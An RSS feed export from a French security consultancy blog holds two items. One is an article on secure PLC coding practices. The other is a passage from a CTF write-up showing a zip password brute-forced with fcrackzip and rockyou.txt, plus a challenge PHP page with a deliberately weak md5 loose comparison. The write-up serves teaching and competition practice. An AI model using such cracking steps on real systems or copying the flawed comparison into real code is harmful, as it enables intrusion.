<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>code - RiskInsight</title>
	<atom:link href="https://www.riskinsight-wavestone.com/tag/code/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.riskinsight-wavestone.com/tag/code/</link>
	<description>Le blog cybersécurité des consultants Wavestone</description>
	<lastBuildDate>Mon, 07 Nov 2022 10:13:15 +0000</lastBuildDate>
	<language>fr-FR</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/Blogs-2024_RI-39x39.png</url>
	<title>code - RiskInsight</title>
	<link>https://www.riskinsight-wavestone.com/tag/code/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Top 20 Secure PLC Coding Practices</title>
		<link>https://www.riskinsight-wavestone.com/2022/11/top-20-secure-plc-coding-practices/</link>
					<comments>https://www.riskinsight-wavestone.com/2022/11/top-20-secure-plc-coding-practices/#respond</comments>
		
		<dc:creator><![CDATA[Arnaud Soullié]]></dc:creator>
		<pubDate>Mon, 07 Nov 2022 16:00:00 +0000</pubDate>
				<category><![CDATA[Eclairage]]></category>
		<category><![CDATA[Manufacturing & Industry 4.0]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[PLC]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=18952</guid>

					<description><![CDATA[<p>Si vous travaillez dans la cybersécurité, vous avez probablement entendu parler de l’OWASP TOP 10: un document de sensibilisation à la sécurité des applications web qui présente les 10 familles de vulnérabilités les plus fréquentes. Cependant, dans le domaine des...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2022/11/top-20-secure-plc-coding-practices/">Top 20 Secure PLC Coding Practices</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p style="text-align: justify;">Si vous travaillez dans la cybersécurité, vous avez probablement entendu parler de l’<a href="https://owasp.org/Top10/">OWASP TOP 10</a>: un document de sensibilisation à la sécurité des applications web qui présente les 10 familles de vulnérabilités les plus fréquentes.</p>
<p style="text-align: justify;">Cependant, dans le domaine des SI industriels, on ne parle quasiment jamais de la sécurité du code automate qui contrôle le procédé industriel. Pourquoi ?</p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">Genèse du projet</h1>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Le projet a débuté avec la présentation de <a href="https://www.youtube.com/watch?v=JtsyyTfSP1I">Jake Browdsky lors de la conférence S4</a> en 2019 </p>
<p style="text-align: justify;">Dans cette conférence, le concept de sécurisation du processus industriel par l&rsquo;application de pratiques de programmation sécurisée dans le code de l&rsquo;automate est discuté et plusieurs exemples sont mentionnés.</p>
<p style="text-align: justify;">Cette idée a ensuite été transformée en un projet collaboratif par Sarah Fluchs et Vivek Ponnada, auquel plus de 900 personnes ont contribué avec leurs idées !</p>
<p style="text-align: justify;"><a href="https://www.youtube.com/watch?v=JtsyyTfSP1I"><img fetchpriority="high" decoding="async" class="aligncenter wp-image-18967 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image6.png" alt="" width="703" height="395" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image6.png 703w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image6-340x191.png 340w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image6-69x39.png 69w" sizes="(max-width: 703px) 100vw, 703px" /></a></p>
<h1 style="text-align: justify;"> </h1>
<h1 style="text-align: justify;">Automates Programmables Industriels</h1>
<p style="text-align: justify;">Les automates programmables industriels (<em>Programmable Logic Controller</em> en anglais) sont situés au cœur de l&rsquo;automatisation, au niveau 1 du modèle de Purdue.</p>
<p style="text-align: center;"><img decoding="async" class="aligncenter wp-image-18957 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image1.png" alt="" width="624" height="351" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image1.png 624w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image1-340x191.png 340w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image1-69x39.png 69w" sizes="(max-width: 624px) 100vw, 624px" /><em>Représentation ISA du modèle de Purdue</em></p>
<p style="text-align: center;"><a href="https://dale-peterson.com/2019/02/11/is-the-purdue-model-dead/https:/dale-peterson.com/2019/02/11/is-the-purdue-model-dead/">Le modèle de Purdue est-il mort ? &#8211; Dale Peterson : ICS Security Catalyst (dale-peterson.com)</a></p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Les automates programmables sont des ordinateurs embarqués avec un système temps-réel qui interagissent directement avec les capteurs et les actionneurs pour surveiller et contrôler une partie du processus industriel.</p>
<p style="text-align: justify;">Ils exécutent une boucle infinie, composée de 4 étapes :</p>
<p style="text-align: justify;"><img decoding="async" class="aligncenter wp-image-18959 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image2.png" alt="" width="458" height="323" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image2.png 458w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image2-271x191.png 271w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image2-55x39.png 55w" sizes="(max-width: 458px) 100vw, 458px" /></p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">La « logique », ou code de l&rsquo;automate, peut être écrite dans différents langages, tels que définis dans la norme CEI 61131-3 :</p>
<ul style="text-align: justify;">
<li>Ladder Diagram</li>
<li>Function Block Diagram</li>
<li>Structured Text</li>
<li>Instruction List [désormais obsolète]</li>
<li>Sequential Function Chart</li>
</ul>
<h1> </h1>
<h1 style="text-align: justify;">Le document TOP20</h1>
<p> </p>
<p style="text-align: justify;">Le document TOP20 est le résultat des échanges en ligne visant à identifier les 20 pratiques de programmation les plus importantes et peut être téléchargé sur le <a href="https://plc-security.com/">site du projet</a>.</p>
<p style="text-align: justify;">Comme le TOP10 de l&rsquo;OWASP, il ne vise pas à décrire toutes les pratiques de programmation sécurisée possibles, du moins pour le moment.</p>
<p style="text-align: justify;">Chacune des pratiques du TOP20 est détaillée avec les mêmes informations :</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-18961 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image3.png" alt="" width="975" height="498" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image3.png 975w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image3-374x191.png 374w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image3-71x36.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image3-768x392.png 768w" sizes="auto, (max-width: 975px) 100vw, 975px" /></p>
<p> </p>
<p style="text-align: justify;">Les 20 pratiques peuvent être organisées en trois catégories principales :</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-18963 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image4.png" alt="" width="624" height="323" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image4.png 624w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image4-369x191.png 369w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image4-71x37.png 71w" sizes="auto, (max-width: 624px) 100vw, 624px" /></p>
<p style="text-align: justify;"> </p>
<h1> </h1>
<h1 style="text-align: justify;">Quelques exemples</h1>
<p> </p>
<p style="text-align: justify;">Voyons un exemple de chaque catégorie. Pour cela, nous utiliserons un automate d&rsquo;entrée de gamme de notre laboratoire, un feu de signalisation ainsi qu&rsquo;une supervision SCADA.</p>
<p style="text-align: justify;">Malheureusement, chaque fournisseur d&rsquo;automates &#8211; et même chaque famille d&rsquo;automates &#8211; utilise son propre logiciel de programmation ; les exemples présentés ici ne peuvent donc pas être copiés-collés dans le code d&rsquo;une autre marque d&rsquo;automates et nécessiteront une implémentation différente.</p>
<p style="text-align: justify;">Le code de l&rsquo;automate ainsi que le projet SCADA utilisé pour la démonstration peuvent être téléchargés depuis notre <a href="https://github.com/wavestone-cdt/plc-code-security">page github</a>.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Règle n°13 : Désactiver les ports et protocoles de communication inutiles / inutilisés</h2>
<p style="text-align: justify;">Cette pratique consiste à durcir l&rsquo;automate. La plupart des automates d&rsquo;aujourd&rsquo;hui offrent un support pour plusieurs protocoles industriels, ainsi qu&rsquo;une variété de services supplémentaires comme un serveur de fichier FTP, un serveur web et bien d&rsquo;autres.</p>
<p style="text-align: justify;">Désactiver les services non utilisés et renforcer la sécurité de ceux qui sont activés (changer les identifiants par défaut, etc.) est une étape nécessaire pour réduire la surface d&rsquo;attaque et, par conséquent, limiter le nombre de correctifs de sécurité à appliquer à l&rsquo;avenir (moins il y a de fonctionnalités activées, plus les vulnérabilités sont pertinentes, facilitant l’effort pour les corriger).</p>
<p style="text-align: justify;"><em>Jetons un coup d&rsquo;œil à la vidéo :</em></p>
<p style="text-align: justify;"><a href="https://youtu.be/uFhJaOEXh5w"><img loading="lazy" decoding="async" class="aligncenter wp-image-18972 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Screenshot-2022-11-07-093944.png" alt="" width="1279" height="724" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Screenshot-2022-11-07-093944.png 1279w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Screenshot-2022-11-07-093944-337x191.png 337w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Screenshot-2022-11-07-093944-69x39.png 69w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Screenshot-2022-11-07-093944-768x435.png 768w" sizes="auto, (max-width: 1279px) 100vw, 1279px" /></a></p>
<h2> </h2>
<h2 style="text-align: justify;">Règles n°6 et n°8 : Vérification des entrées au niveau de l&rsquo;automate.</h2>
<p style="text-align: justify;">Ces deux règles peuvent être démontrées dans le même exemple car elles suivent le même principe : ne pas faire aveuglément confiance aux entrées externes ! Pour quelqu&rsquo;un comme moi qui a fait sa part de test d’intrusion d&rsquo;applications web, je ne pourrais être plus d&rsquo;accord !</p>
<p style="text-align: justify;">Les plages valides pour les valeurs d&rsquo;entrée sont souvent mises en œuvre au niveau SCADA, laissant la possibilité à un attaquant d&rsquo;écrire directement une valeur hors plage dans le bon registre de l&rsquo;automate.</p>
<p style="text-align: justify;">Cela est particulièrement vrai pour les compteurs et les chronomètres, qui doivent être vérifiés pour s&rsquo;assurer qu&rsquo;ils sont supérieurs ou égaux à zéro, et que la valeur est inférieure à une limite supérieure qui a du sens pour le processus.</p>
<p style="text-align: justify;"><em>Jetons un coup d&rsquo;œil à la vidéo :</em></p>
<p style="text-align: justify;"><a href="https://youtu.be/Rut6evMsvXA"><img loading="lazy" decoding="async" class="aligncenter wp-image-18974 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Screenshot-2022-11-07-094045.png" alt="" width="1285" height="715" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Screenshot-2022-11-07-094045.png 1285w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Screenshot-2022-11-07-094045-343x191.png 343w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Screenshot-2022-11-07-094045-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Screenshot-2022-11-07-094045-768x427.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Screenshot-2022-11-07-094045-1170x650.png 1170w" sizes="auto, (max-width: 1285px) 100vw, 1285px" /></a></p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Surveillance de l&rsquo;automate programmable règles n°2 et n°5</h2>
<p style="text-align: justify;">Nous pouvons exploiter les données opérationnelles de l&rsquo;automate pour essayer de détecter des situations anormales qui pourraient être des incidents de cybersécurité.</p>
<h3 style="text-align: justify;">État de l&rsquo;automate</h3>
<p style="text-align: justify;">S&rsquo;assurer que l&rsquo;automate est en mode « RUN » est essentiel pour la sûreté et la sécurité des opérations. Un automate à l&rsquo;arrêt pourrait empêcher l&rsquo;IHM SCADA d&rsquo;afficher les bonnes informations à l&rsquo;opérateur, ce qui entraînerait de mauvaises décisions.</p>
<p style="text-align: justify;">De même, des fonctions telles que le « forçage » des entrées et des sorties peuvent empêcher l&rsquo;IHM SCADA d&rsquo;afficher l&rsquo;état réel du processus, et doivent être détectées et clairement affichées à l&rsquo;opérateur.</p>
<p style="text-align: justify;"><em>Jetons un coup d&rsquo;œil à la vidéo :</em></p>
<p style="text-align: justify;"><a href="https://youtu.be/_Ta35tFAWyY"><img loading="lazy" decoding="async" class="aligncenter wp-image-18976 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Screenshot-2022-11-07-094122.png" alt="" width="1278" height="721" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Screenshot-2022-11-07-094122.png 1278w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Screenshot-2022-11-07-094122-339x191.png 339w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Screenshot-2022-11-07-094122-69x39.png 69w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Screenshot-2022-11-07-094122-768x433.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Screenshot-2022-11-07-094122-800x450.png 800w" sizes="auto, (max-width: 1278px) 100vw, 1278px" /></a></p>
<p style="text-align: justify;">Cette technique peut également être utilisée pour détecter les automates en mode « PROGRAM », ce qui permet de programmer l&rsquo;automate à distance.</p>
<p> </p>
<h3 style="text-align: justify;">Firmware de l&rsquo;automate et version du code</h3>
<p style="text-align: justify;">Ne serait-il pas formidable de pouvoir interroger la version du firmware de votre automate directement à partir d&rsquo;un registre Modbus ? Eh bien, c&rsquo;est possible !</p>
<p style="text-align: justify;">En outre, sur notre automate, nous pouvons également obtenir une somme de contrôle du code de l&rsquo;automate, ce qui signifie que nous pouvons détecter si quelqu&rsquo;un a altéré le code de l&rsquo;automate, déclencher une alarme et enquêter si nous ne pouvons pas faire correspondre cela à une entrée dans le registre de gestion des modifications.</p>
<p style="text-align: justify;"><em>Jetons un coup d&rsquo;œil à la vidéo :</em></p>
<p style="text-align: justify;"><a href="https://youtu.be/E9Ml2kVWgDM"><img loading="lazy" decoding="async" class="aligncenter wp-image-18978 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Screenshot-2022-11-07-094352.png" alt="" width="663" height="630" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Screenshot-2022-11-07-094352.png 663w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Screenshot-2022-11-07-094352-201x191.png 201w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Screenshot-2022-11-07-094352-41x39.png 41w" sizes="auto, (max-width: 663px) 100vw, 663px" /></a></p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;"> </h1>
<h1 style="text-align: justify;">Alors, que pouvez-vous faire ?</h1>
<p style="text-align: justify;">Le document sur le top 20 est facilement disponible, mais comment l&rsquo;utiliser ?</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-18965 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image5.png" alt="" width="624" height="325" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image5.png 624w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image5-367x191.png 367w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/11/Image5-71x37.png 71w" sizes="auto, (max-width: 624px) 100vw, 624px" /></p>
<p style="text-align: justify;">Si vous souhaitez en savoir plus sur la sécurité du code automate, vous pouvez également consulter le contenu que nous avons présenté lors de nos ateliers à <a href="https://github.com/wavestone-cdt/plc-code-security/tree/main/dc30">DEFCON</a> et <a href="https://github.com/wavestone-cdt/plc-code-security/tree/main/brucon0x0E">BruCON</a> sur notre page <a href="https://github.com/wavestone-cdt/plc-code-security">Github</a>.</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2022/11/top-20-secure-plc-coding-practices/">Top 20 Secure PLC Coding Practices</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2022/11/top-20-secure-plc-coding-practices/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>[CTF] Writeup du round de qualification SIGSEGV1</title>
		<link>https://www.riskinsight-wavestone.com/2018/10/ctf-quals-rtfm/</link>
		
		<dc:creator><![CDATA[Jean Marsault]]></dc:creator>
		<pubDate>Thu, 18 Oct 2018 12:58:26 +0000</pubDate>
				<category><![CDATA[Challenges]]></category>
		<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[compte rendu]]></category>
		<category><![CDATA[ctf]]></category>
		<category><![CDATA[rtfm]]></category>
		<category><![CDATA[writeup]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=15580</guid>

					<description><![CDATA[<p>&#160; Issus de la génération ayant connu le minitel, le bas-débit et les écrans cathodiques, l&#8217;équipe formant l&#8217;association RTFM a grandi avec une passion pour la technologie et les sujets qui s&#8217;y rattachent. L&#8217;objectif de l&#8217;association est de créer un...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2018/10/ctf-quals-rtfm/">[CTF] Writeup du round de qualification SIGSEGV1</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>&nbsp;</p>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://2.bp.blogspot.com/-vb3Cd-d2WLQ/W8X464x5wTI/AAAAAAAAAi0/ZIWGEP3A7Tgg7XgBoiDCb8DMf_fdALRsACLcBGAs/s1600/_header.png"><img loading="lazy" decoding="async" src="https://2.bp.blogspot.com/-vb3Cd-d2WLQ/W8X464x5wTI/AAAAAAAAAi0/ZIWGEP3A7Tgg7XgBoiDCb8DMf_fdALRsACLcBGAs/s640/_header.png" width="640" height="300" border="0" data-original-height="300" data-original-width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: justify;">Issus de la génération ayant connu le minitel, le bas-débit et les écrans cathodiques, l&rsquo;équipe formant <b>l&rsquo;association RTFM</b> a grandi avec une passion pour la technologie et les sujets qui s&rsquo;y rattachent.</div>
<div class="separator" style="clear: both; text-align: justify;">L&rsquo;objectif de l&rsquo;association est de créer un événement français sur le thème de la sécurité informatique, qui se déroulera le <b>1er décembre 2018 à l&rsquo;école 42</b>.<br />
Celui-ci, nommé « <b>SIGSEGv1</b> » se baserait sur trois axes :</div>
<div class="separator" style="clear: both; text-align: left;"></div>
<ul>
<li>Niveau technique avancé</li>
<li>Accessibilité géographique</li>
<li>Événement à taille humaine</li>
</ul>
<div style="text-align: justify;">Cet événement mettra en avant différents sujets tels que le Reverse Engineering, des démonstrations d&rsquo;attaques physiques ainsi que du hacking hardware et bas-niveau.</div>
<div class="separator" style="clear: both; text-align: justify;">L&rsquo;accès à l&rsquo;événement a été rendu possible sur validation de <i>challenges </i>de qualification, qui étaient <a href="https://qual.rtfm.re/" target="_blank" rel="noopener">disponibles</a> sur la période du 28 septembre au 12 octobre 2018. Plusieurs collaborateurs de Wavestone ont individuellement pris part à ces qualifications, dont nous présentons ci-dessous les <i>writeups</i>.</div>
<div class="separator" style="clear: both; text-align: left;"></div>
<h2 style="clear: both; text-align: left;">Web-serveur : la simplicité (par ShrewkRoot)</h2>
<div>
<div style="text-align: justify;"><b>Description : </b>Bienvenue sur le site le plus simple du monde avec des failles basiques ! Aucun bruteforce n&rsquo;est necessaire. Merci de ne pas utiliser Dirbuster et outils équivalents sous peine d&rsquo;etre bannis sur le challenge.</div>
</div>
<div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Le site se présente sous la forme d&rsquo;une page blanche contenant une vidéo du rappeur Orelsan :</div>
<p>&nbsp;</p>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://4.bp.blogspot.com/-QY_EgD3XFKg/W8YB3RodG7I/AAAAAAAAAjI/bxu888dLlFkxHYfWncdDYFiiGeaGvD7XQCLcBGAs/s1600/1_1.png"><img loading="lazy" decoding="async" src="https://4.bp.blogspot.com/-QY_EgD3XFKg/W8YB3RodG7I/AAAAAAAAAjI/bxu888dLlFkxHYfWncdDYFiiGeaGvD7XQCLcBGAs/s640/1_1.png" width="640" height="316" border="0" data-original-height="409" data-original-width="826" /></a></div>
<p>&nbsp;</p>
<style type="text/css">
.sc0 { font-family: monospace !important; }<br />.sc1 { color: rgb(102, 116, 123); font-family: monospace !important; }<br />.sc3 { color: rgb(236, 118, 0); font-family: monospace !important; }<br />.sc4 { color: rgb(255, 132, 9); font-family: monospace !important; }<br />.sc6 { color: rgb(225, 226, 207); font-family: monospace !important; }<br />.sc8 { font-family: monospace !important; }<br />.sc9 { font-weight: bold; color: rgb(103, 140, 177); font-family: monospace !important; }<br />.sc18 { font-weight: bold; color: rgb(217, 85, 193); font-family: monospace !important; }<br />.sc119 { color: rgb(236, 118, 0); font-family: monospace !important; }<br />.sc121 { font-weight: bold; color: rgb(147, 199, 99); font-family: monospace !important; }<br />.sc122 { color: rgb(255, 205, 34); font-family: monospace !important; }<br />.sc123 { color: rgb(103, 140, 177); font-family: monospace !important; }<br />.sc127 { color: rgb(232, 226, 183); font-family: monospace !important; }<br />.sc118 { font-family: monospace !important; }<br />span.w-code { display: block; background-color: black; font-size: 10pt; color: rgb(224, 226, 228); white-space: pre-wrap; overflow-wrap: break-word; line-height: 14px; padding: 1%; font-family: monospace !important; }<br />.w-user { color: cornflowerblue; font-family: monospace !important; }<br />.w-root { color: lightcoral; font-family: monospace !important; }<br />.w-server { color: chartreuse; font-family: monospace !important; }<br />.w-cli { color: lightskyblue; font-family: monospace !important; }<br />.w-grepped { color: red; font-family: monospace !important; }<br />.w-all { font-family: monospace !important; }<br />.w-inline-code { color: rgb(199, 37, 78); background-color: rgb(249, 242, 244); border-radius: 4px; padding: 2px 4px; font-family: monospace !important; }<br />.sc5 { font-weight: bold; color: rgb(147, 199, 99); font-family: monospace !important; }<br />.sc10 { color: rgb(232, 226, 183); font-family: monospace !important; }<br />.sc11 { font-family: monospace !important; }<br />.sc41 { font-family: monospace !important; }<br />.sc43 { color: rgb(129, 142, 150); font-family: monospace !important; }<br />.sc46 { font-family: monospace !important; }<br />.sc48 { color: rgb(236, 118, 0); font-family: monospace !important; }<br />.sc50 { color: rgb(232, 226, 183); font-family: monospace !important; }<br />.sc40 { font-family: monospace !important; }<br />.sc45 { color: rgb(255, 205, 34); font-family: monospace !important; }<br />.sc47 { font-weight: bold; color: rgb(147, 199, 99); font-family: monospace !important; }<br />.sc49 { color: rgb(236, 118, 0); font-family: monospace !important; }<br />.sc2 { color: rgb(255, 205, 34); font-family: monospace !important; }<br /></style>
<div style="text-align: justify;">Le premier réflexe à adopter dans ce cas est de s&rsquo;orienter sur la cartographie de l&rsquo;application : scan de ports, scans des dossiers, etc. Le challenge interdisant explicitement le bruteforce en ligne, ces solutions ne sont pas appliquées ici.</div>
<div style="text-align: justify;">En revanche, deux fichiers sont souvent présents sur les applications web et permettent de découvrir tout ou partie de l&rsquo;arborescence d&rsquo;un site :</div>
<ul>
<li><b>/sitemap.xml :</b> fichier XML contenant l&rsquo;arborescence des différentes sections</li>
<li><b>/robots.txt :</b> fichier txt visant à interdire le <i>crawling</i> de certaines sections aux robots</li>
</ul>
<div>
<div style="text-align: justify;">En naviguant sur le second, l&rsquo;application indique que le fichier <b>backup.zip</b> existe :</div>
</div>
<div></div>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://1.bp.blogspot.com/-aTPPckzLLRU/W8YB3NT0w9I/AAAAAAAAAjQ/nWrorUZjefYVdWnsIky0DMq1jcVVNvYUwCEwYBhgL/s1600/1_2.png"><img decoding="async" src="https://1.bp.blogspot.com/-aTPPckzLLRU/W8YB3NT0w9I/AAAAAAAAAjQ/nWrorUZjefYVdWnsIky0DMq1jcVVNvYUwCEwYBhgL/s1600/1_2.png" border="0" data-original-height="133" data-original-width="510" /></a></div>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: justify;">Le fichier <b>backup.zip</b> est bien accessible, et une fois téléchargé, demande un mot de passe pour l&rsquo;extraction :</div>
<div class="separator" style="clear: both; text-align: left;"></div>
<p><span class="w-code"><span class="w-user">iansus </span>@ <span class="w-server">iansus-server</span> ~/rtfm/quals/simple % <span class="w-cli">unzip backup.zip</span><br />
Archive: backup.zip<br />
[backup.zip] index.php password: </span></p>
<div>
<div style="text-align: justify;">Il est facile de procéder au bruteforce de ce mot de passe à l&rsquo;aide de la liste <b>rockyou.txt</b> (présente par défaut sur Kali Linux) et de l&rsquo;outil <a href="https://github.com/hyc/fcrackzip" target="_blank" rel="noopener">fcrackzip</a> :</div>
</div>
<div></div>
<p><span class="w-code"><span class="w-user">iansus</span> @ <span class="w-server">iansus-server</span> ~/rtfm/quals/simple % <span class="w-cli">fcrackzip -D -p rockyou.txt -u backup.zip</span></span><br />
PASSWORD FOUND!!!!: pw == <span class="w-grepped">passw0rd</span></p>
</div>
<div>
<div style="text-align: justify;">Le mot de passe est donc <i>passw0rd</i> et permet de récupérer la source du fichier PHP, ci-dessous :</div>
</div>
<div></div>
<div><span class="w-code"><span class="sc18">&lt;?php</span><span class="sc118"><br />
</span><span class="sc121">include</span> <span class="sc119">« auth.php »</span><span class="sc127">;</span><span class="sc118"><br />
</span><span class="sc18">?&gt;</span><span class="sc0"><br />
</span><span class="sc1">&lt;html&gt;</span><span class="sc0"><br />
</span><span class="sc1">&lt;head&gt;</span><span class="sc0"><br />
</span><span class="sc1">&lt;title&gt;</span><span class="sc0">Un site simple</span><span class="sc1">&lt;/title&gt;&lt;/title&gt;</span><span class="sc0"><br />
</span><span class="sc1">&lt;/head&gt;</span><span class="sc0"><br />
</span><span class="sc1">&lt;body&gt;</span><span class="sc0"><br />
</span><span class="sc1">&lt;center&gt;&lt;iframe</span> <span class="sc3">width</span><span class="sc8">=</span><span class="sc6">« 560 »</span> <span class="sc3">height</span><span class="sc8">=</span><span class="sc6">« 315 »</span> <span class="sc3">src</span><span class="sc8">=</span><span class="sc6">« https://www.youtube[.]com/embed/2bjk26RwjyU?rel=0&amp;amp;controls=0&amp;amp;showinfo=0 »</span> <span class="sc3">frameborder</span><span class="sc8">=</span><span class="sc6">« 0 »</span> <span class="sc4">allow</span><span class="sc8">=</span><span class="sc6">« autoplay; encrypted-media »</span> <span class="sc4">allowfullscreen</span><span class="sc1">&gt;&lt;/iframe&gt;&lt;/center&gt;</span><span class="sc0"><br />
</span><span class="sc18">&lt;?php</span><span class="sc118"><br />
</span><span class="sc121">if</span><span class="sc127">(</span><span class="sc121">isset</span><span class="sc127">(</span><span class="sc123">$_POST</span><span class="sc127">[</span><span class="sc119">« h1 »</span><span class="sc127">]))</span><span class="sc118"><br />
</span><span class="sc127">{</span><span class="sc118"><br />
</span><span class="sc123">$h1</span> <span class="sc127">=</span> <span class="sc121">md5</span><span class="sc127">(</span><span class="sc123">$_POST</span><span class="sc127">[</span><span class="sc119">« h1 »</span><span class="sc127">]</span> <span class="sc127">.</span> <span class="sc119">« Shrewk »</span><span class="sc127">);</span><span class="sc118"><br />
</span><span class="sc121">echo</span> <span class="sc119">« h1 vaut: « </span><span class="sc127">.</span><span class="sc123">$h1</span><span class="sc127">.</span><span class="sc119">« &lt;/br&gt; »</span><span class="sc127">;</span><span class="sc118"><br />
</span><span class="sc121">if</span><span class="sc127">(</span><span class="sc123">$h1</span> <span class="sc127">==</span> <span class="sc119">« 0 »</span><span class="sc127">)</span><span class="sc118"><br />
</span><span class="sc127">{</span><span class="sc118"><br />
</span><span class="sc121">echo</span> <span class="sc119">« &lt;!&#8211;Bien joué le flag est « </span><span class="sc127">.</span><span class="sc123">$flag</span><span class="sc127">.</span><span class="sc119">« &#8211;&gt; »</span><span class="sc127">;</span><span class="sc118"><br />
</span><span class="sc127">}</span><span class="sc118"><br />
</span><span class="sc127">}</span><span class="sc118"><br />
</span><span class="sc18">?&gt;</span><span class="sc0"><br />
</span><span class="sc9">&lt;!&#8211; Si une méthode ne fonctionne pas il faut en utiliser une autre &#8211;&gt;</span><span class="sc0"><br />
</span><span class="sc9">&lt;!&#8211; Un formulaire c&rsquo;était pas assez simple donc on en a pas mis &#8211;&gt;</span><span class="sc0"><br />
</span><span class="sc1">&lt;/body&gt;</span><span class="sc0"><br />
</span><span class="sc1">&lt;/html&gt;</span></span></p>
